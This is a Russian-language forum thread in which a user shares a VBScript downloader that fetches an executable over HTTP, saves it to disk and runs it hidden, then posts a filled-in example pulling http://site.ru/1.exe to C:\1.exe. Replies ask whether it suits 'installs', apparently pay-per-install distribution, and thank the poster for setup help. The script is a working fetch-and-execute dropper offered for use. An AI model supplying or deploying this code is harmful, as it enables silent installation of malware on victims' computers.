Скрипт на автоматическое скачивание файла и запуска

azat56

Самый опытный
Joined
May 25, 2017
Messages
170
Reaction score
21
Скрипт на автоматическое скачивание файла и запуска

Расширение .vbs

Set oXMLHTTP = CreateObject("MSXML2.XMLHTTP")
oXMLHTTP.Open "GET", "Ссылка", 0
oXMLHTTP.Send
Set oADOStream = CreateObject("ADODB.Stream")
oADOStream.Mode = 3
oADOStream.Type = 1
oADOStream.Open
oADOStream.Write oXMLHTTP.responseBody
oADOStream.SaveToFile "Путь", 2
Set WshShell = CreateObject("WScript.Shell")
WshShell.Run "Название файла", 0, false
 

xweb

Member
Joined
Aug 14, 2017
Messages
55
Reaction score
6
под инсталлы канает? он ведь не установит бары, амиго и т.д, а просто запустит файл?
 

chubais46

Premium Member
Joined
Feb 12, 2017
Messages
1,983
Reaction score
107
Можно подробней описание как настроить?
 

azat56

Самый опытный
Joined
May 25, 2017
Messages
170
Reaction score
21
Можно подробней описание как настроить?
Качаешь на сайт файл, а дальше вставляешь в скрипт параметры

Set oXMLHTTP = CreateObject("MSXML2.XMLHTTP")
oXMLHTTP.Open "GET", "Ссылка на файл", 0
oXMLHTTP.Send
Set oADOStream = CreateObject("ADODB.Stream")
oADOStream.Mode = 3
oADOStream.Type = 1
oADOStream.Open
oADOStream.Write oXMLHTTP.responseBody
oADOStream.SaveToFile "Путь для сохранения", 2
Set WshShell = CreateObject("WScript.Shell")
WshShell.Run "Название файла", 0, false

Пример:

Set oXMLHTTP = CreateObject("MSXML2.XMLHTTP")
oXMLHTTP.Open "GET", "http://site.ru/1.exe", 0
oXMLHTTP.Send
Set oADOStream = CreateObject("ADODB.Stream")
oADOStream.Mode = 3
oADOStream.Type = 1
oADOStream.Open
oADOStream.Write oXMLHTTP.responseBody
oADOStream.SaveToFile "C:\1.exe", 2
Set WshShell = CreateObject("WScript.Shell")
WshShell.Run "1.exe", 0, false
 
Last edited:

chubais46

Premium Member
Joined
Feb 12, 2017
Messages
1,983
Reaction score
107
Т.С. УВАЖУХА!
Я просто сначала что то не догнал про путь к файлу.
 
Top